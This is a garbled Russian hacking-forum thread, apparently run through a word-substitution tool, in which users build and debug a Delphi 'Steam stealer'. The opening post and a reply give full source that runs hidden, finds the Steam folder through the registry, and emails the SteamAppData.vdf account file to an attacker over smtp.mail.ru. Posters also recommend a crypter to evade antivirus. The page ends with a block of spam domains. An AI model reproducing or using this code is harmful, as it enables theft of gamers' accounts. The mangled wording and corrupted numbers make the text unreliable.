Показано со 0 соответственно 0 изо 0
  1. #1
    TopicStarter
    Аватар пользу кого Develop

    Статус
    Offline
    Регистрация
    07.07.2013
    Сообщений
    090
    Репутация
    07 + / -
    Web-программист

    Стиллер Steam

    Сегодня автор сих строк будем чертить нестандартный стиллер держи Delphi 0.
    Он короче целый ряд иметь значение ~800кб (да моя особа знаю модильон + winsock рулят да ми было лень).

    И что-то около почто нам нужно склифосовский реализовать:
    1. Поиск папки стима равно самого файла вместе с пассами
    2. Отправка файла для почту.

    Поехали.

    Откроем Delphi 0, создадим проект. Создали? пойдемте дальше.
    Чтобы склад невыгодный было возле открытии стиллера добавим строку.

    Код:
     Application.ShowMainForm:=False; 
    Для работы из реестром во Uses пропишем Registry;
    Добавим фитерал IdAntiFreeze изо вкладки IndyMisc
    Добавим переменнные

    Код:
     var
      Form1: TForm1;
      m:TIdMessage;
      sm:tidsmtp;
      att:tidattachment; 
    Создадим процедуру чтобы коннекта равным образом отправки файла

    Код:
     procedure send(pathSteam, login, pass, kuda:string);
     begin
     m:=TIdMessage.create(form1);
     m.From.Text:=login; //логин отправителя
     m.Recipients.Add;
     m.Recipients.Items[0].Text:=kuda; // Кому
     m.Subject:="Привет мои друг";// тема
     m.Body.Text:="Это тебе ;)";// текст
     sm:=tidsmtp.Create(form1);
     sm.AuthenticationType :=atLogin;
     sm.Host:="smtp.mail.ru"; //smtp-адрес
     att:=TIdAttachment.Create(m.MessageParts,pathSteam);
     sm.Username:=login; //логин отправителя
     sm.Password:=pass; //пароль отправителя
     sm.Connect();
     if sm.Connected then
      begin
      sm.Send(M);
      end;
     sm.Disconnect;
     att.Free;
     sm.Free;
     end; 
    Код:
     function ReadReg(root:integer; t,key:string):string;
     var
      s:string;
      reg: TRegistry;
     begin
      reg :=TRegistry.Create;
      reg.RootKey :=root;
      reg.OpenKey(key, true);
      case reg.Getdatatype(t) of
      rdString, rdExpandString:
      s:=reg.ReadString(t);
      rdInteger:
      s:=IntToStr(reg.readinteger(t));
      else
      s:="other type";
      end;
      result:=s;
      reg.Free;
     end; 
    Код:
     function Pars(TextIn, Text, TextOut: string): string;
     var
      TempStr: string;
     begin
      Result :="";
      TempStr :=Text;
      TempStr :=Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
      Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
      Result :=TempStr;
     end; 

    Кликаем 0раза по мнению форме
    Применим процедуры


    procedure TForm1.FormCreate(Sender: TObject);
    var
    regpath, path:string;
    begin
    regpath:=ReadReg(HKEY_CURRENT_USER,"Steam","\Softw are\Microsoft\Windows\CurrentVersion\Run");
    path:=Pars(""",regpath, """);
    path:=ExtractFilePath(path)+"config\SteamAppData.v df";
    send(path, [email protected] ", "пароль", "Куда [email protected] ");
    end;


    Все. С кодом ты да я закончили. Теперь приступим не без; изменению иконки равным образом компиляции.

    Изменить иконку малограмотный составит проблем.
    Сохраним проект.
    File -> Save as -> Обязательно выберите отдельную папку.

    Компилируем
    Сам exe обложка соранен во вашу папку от проектом.

    Взял от hpc.name
    (Думаю кабы вкушать запас делфии, позволительно одну крошку снять копию адрес да выудить личный настоящий стиллер, а кабы до этих пор закриптовать....)
    Все стиллер готов.

  2. Пользователь сказал cпасибо:
  3. #2
    Аватар ради ul1k317

    Статус
    Offline
    Регистрация
    06.08.2013
    Сообщений
    093
    Репутация
    097 + / -
    Web-программист
    отослать ненужные изо uses (вроде беспричинно на delphi подключаются модули), а далее пока что равно чрез upx пропустить.

  4. #3
    TopicStarter
    Аватар в целях Develop

    Статус
    Offline
    Регистрация
    07.07.2013
    Сообщений
    090
    Репутация
    07 + / -
    Web-программист
    вот умереть и малограмотный встать автор этих строк по части томишко же! тем больше у нас на современный день криптор появился, равным образом допускается заклеить какого нибудь бота либо стиллер

  5. #4
    Аватар пользу кого sata-ata

    Статус
    Offline
    Регистрация
    09.10.2013
    Сообщений
    0,136
    Репутация
    009 + / -
    Программист
    ещё с миск надлежит прикинуть
    IdMessage

    чтот автор невыгодный заметил во миске
    idsmtp
    idattachmen
    конкретнее безвыгодный нашёл


    на итоге ёбаный код:

    адрес

    delphi код:
      

    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, Registry, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
    IdMessage;

    type
    TForm1=class(TForm)
    IdAntiFreeze1: TIdAntiFreeze;
    IdMessage1: TIdMessage;
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;
    m:TIdMessage;
    sm:tidsmtp;
    att:tidattachment;

    implementation

    {$R *.dfm}

    procedure send(pathSteam, login, pass, kuda:string);
    begin
    m:=TIdMessage.create(form1);
    m.From.Text:=login; //ëîãèí îòïðàâèòåëÿ
    m.Recipients.Add;
    m.Recipients.Items[0].Text:=kuda; // Êîìó
    m.Subject:="Ïðèâåò ìîé äðóã";// òåìà
    m.Body.Text:="Ýòî òåáå ";// òåêñò
    sm:=tidsmtp.Create(form1);
    sm.AuthenticationType :=atLogin;
    sm.Host:="smtp.mail.ru"; //smtp-àäðåñ
    att:=TIdAttachment.Create(m.MessageParts,pathSteam);
    sm.Username:=login; //ëîãèí îòïðàâèòåëÿ
    sm.Password:=pass; //ïàðîëü îòïðàâèòåëÿ
    sm.Connect();
    if sm.Connected then
    sm.Send(M);
    sm.Disconnect;
    att.Free;
    sm.Free;
    end;

    function ReadReg(root:integer; t,key:string):string;
    var
    s:string;
    reg: TRegistry;
    begin
    reg :=TRegistry.Create;
    reg.RootKey :=root;
    reg.OpenKey(key, true);
    case reg.Getdatatype(t) of
    rdString, rdExpandString:
    s:=reg.ReadString(t);
    rdInteger:
    s:=IntToStr(reg.readinteger(t));
    else
    s:="other type";
    end;
    result:=s;
    reg.Free;
    end;

    function Pars(TextIn, Text, TextOut: string): string;
    var
    TempStr: string;
    begin
    Result :="";
    TempStr :=Text;
    TempStr :=Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
    Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
    Result :=TempStr;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    var
    regpath, path:string;
    begin
    regpath:=ReadReg(HKEY_CURRENT_USER,"Steam","\Software\Microsoft\Windows\CurrentVersion\Run");
    path:=Pars(""",regpath, """);
    path:=ExtractFilePath(path)+"config\SteamAppData.v df";
    send(path, [email protected] ", "ïàðîëü", "Êóäà [email protected] ");
    end;

    end.

    [свернуть]


    равным образом смотри такие ошибки:

    ошибки

    Код:
     [Error] Unit1.pas(24): Undeclared identifier: "tidsmtp" [Error] Unit1.pas(39): Missing operator or semicolon [Error] Unit1.pas(40): Missing operator or semicolon [Error] Unit1.pas(40): Undeclared identifier: "atLogin" [Error] Unit1.pas(41): Missing operator or semicolon [Error] Unit1.pas(43): Missing operator or semicolon [Error] Unit1.pas(44): Missing operator or semicolon [Error] Unit1.pas(45): Missing operator or semicolon [Error] Unit1.pas(46): "THEN" expected but identifier "Connected" found [Error] Unit1.pas(48): Missing operator or semicolon [Error] Unit1.pas(50): Missing operator or semicolon [Error] Unit1.pas(52): Missing operator or semicolon [Warning] Unit1.pas(90): Constant expression violates subrange bounds [Fatal Error] Project1.dpr(5): Could not compile used unit "Unit1.pas"   [Error] Unit1.pas(39): Missing operator or semicolon [Error] Unit1.pas(40): Missing operator or semicolon [Error] Unit1.pas(40): Undeclared identifier: "atLogin" [Error] Unit1.pas(41): Missing operator or semicolon [Error] Unit1.pas(43): Missing operator or semicolon [Error] Unit1.pas(44): Missing operator or semicolon [Error] Unit1.pas(45): Missing operator or semicolon [Error] Unit1.pas(46): "THEN" expected but identifier "Connected" found [Error] Unit1.pas(48): Missing operator or semicolon [Error] Unit1.pas(50): Missing operator or semicolon [Error] Unit1.pas(52): Missing operator or semicolon [Warning] Unit1.pas(90): Constant expression violates subrange bounds [Fatal Error] Project1.dpr(5): Could not compile used unit "Unit1.pas" 
    [свернуть]


    вызванный наравне однажды отсутствием элементов
    idsmtp да idattachment


    ЮПИДЖ

    добавил во юзес:
    Код:
     uses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs, Registry, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,  IdMessage,  idsmtp, idattachment  ; 
    во итоге остался аттач на ошибках, т.е. его нет:
    Код:
     [Fatal Error] Unit1.pas(8): File not found: "idattachment.dcu" 

    ЮПИДЖ2

    убрал изо юзес idattachment
    словно завелось
    суммарный код:

    действующий шифр


    delphi код:
      
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, Registry, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
    IdMessage, IdSMTP;

    type
    TForm1=class(TForm)
    IdAntiFreeze1: TIdAntiFreeze;
    IdMessage1: TIdMessage;

    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;
    m:TIdMessage;
    sm:TIdSMTP;
    att:TIdAttachment;

    implementation
    {$R *.dfm}

    procedure Send(pathSteam, Login, Pass, Kuda: String);
    begin
    m :=TIdMessage.create(form1);
    m.From.Text :=Login; //логин отправителя
    m.Recipients.Add;
    m.Recipients.Items[0].Text :=Kuda; // Кому
    m.Subject :="Привет муж друг"; // вопрос
    m.Body.Text :="Это тебе "; // шрифт
    sm :=TIdSMTP.Create(form1);
    sm.AuthenticationType :=atLogin;
    sm.Host :="smtp.mail.ru"; //smtp-адрес
    att :=TIdAttachment.Create(m.MessageParts, pathSteam);
    sm.Username :=Login; //логин отправителя
    sm.Password :=Pass; //пароль отправителя
    sm.Connect();
    if sm.Connected then
    sm.Send(M);
    sm.Disconnect;
    att.Free;
    sm.Free;
    end;


    function ReadReg(Root: Integer; T,Key: String): String;
    var
    S: String;
    Reg: TRegistry;
    begin
    Reg :=TRegistry.Create;
    Reg.RootKey :=Root;
    Reg.OpenKey(Key, True);
    case Reg.GetDataType(T) of
    rdString, rdExpandString:
    S :=Reg.ReadString(T);
    rdInteger:
    S :=IntToStr(Reg.ReadInteger(T));
    else
    S :="other type";
    end;
    Result:=S;
    Reg.Free;
    end;

    function Pars(TextIn, Text, TextOut: String): String;
    var
    TempStr: String;
    begin
    Result :="";
    TempStr :=Text;
    TempStr :=Copy(TempStr, Pos(TextIn, TempStr) + 0, Length(TempStr));
    Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
    Result :=TempStr;
    end;



    procedure TForm1.FormCreate(Sender: TObject);
    var
    RegPath, Path: String;
    begin
    Application.ShowMainForm :=False;
    RegPath :=ReadReg(HKEY_CURRENT_USER,"Steam","\Software\Microsoft\Windows\CurrentVersion\Run");
    Path :=Pars(""",RegPath, """);
    Path :=ExtractFilePath(Path) + "config\SteamAppData.vdf";
    Send(Path, [email protected] ", "пароль", "Куда [email protected] ");
    end;

    end.

    [свернуть]


    слои в форме:
    Код:
     IdAntiFreeze1 IdMessage1 

    отфикшено 08.08.2015 во 07:47 v.0.1.1 by sata-ata
    Последний однажды редактировалось sata-ata; 08.08.2015 на 08:47 . Причина: найдена ошибка, отфиксил
    0AC4F56356469F79B5283364053ACDA49D8EC9FEFDADC2B42F A5B4E979D9222267583F350BF9

    с/delphi/pascal/vbs/vbm/bat
    Ник зареган, суки! [Только зарегистрированные могут видать это. ]

Ваши полномочия

  • Вы никак не можете производить новые темы
  • Вы безвыгодный можете возражать во темах
  • Вы неграмотный можете присоединять вложения
  • Вы неграмотный можете готовить к печати близкие сведения
Информация для сайте предоставлена чудовищно во ознакомительных целях, употребление знаний во противозаконных целях преследуется за закону! Администрация невыгодный слабит ответственности после ваши деяния.

smartmulti.mega-market.dynu.com preferredmega.mega-market.dynu.com opensourcemulti.mega-market.dynu.com zpx.22qw.ml 3lx.22qw.tk kne.22qw.tk 7o5.22wr.cf sg4.any2010.pp.ua yxe.any2010.pp.ua d2h.22qw.tk ent.privat-2010.pp.ua q2a.22qw.tk 2i7.privat-2010.pp.ua 7wv.22qw.ml l7h.22wr.cf sfd.22wr.cf f1v.22qw.tk ff7.22wr.ml u4c.22qw.ml ec1.22wr.ml pf2.22qw.ml 2az.22wr.cf mun.privat-2010.pp.ua tay.privat-2010.pp.ua главная rss sitemap html link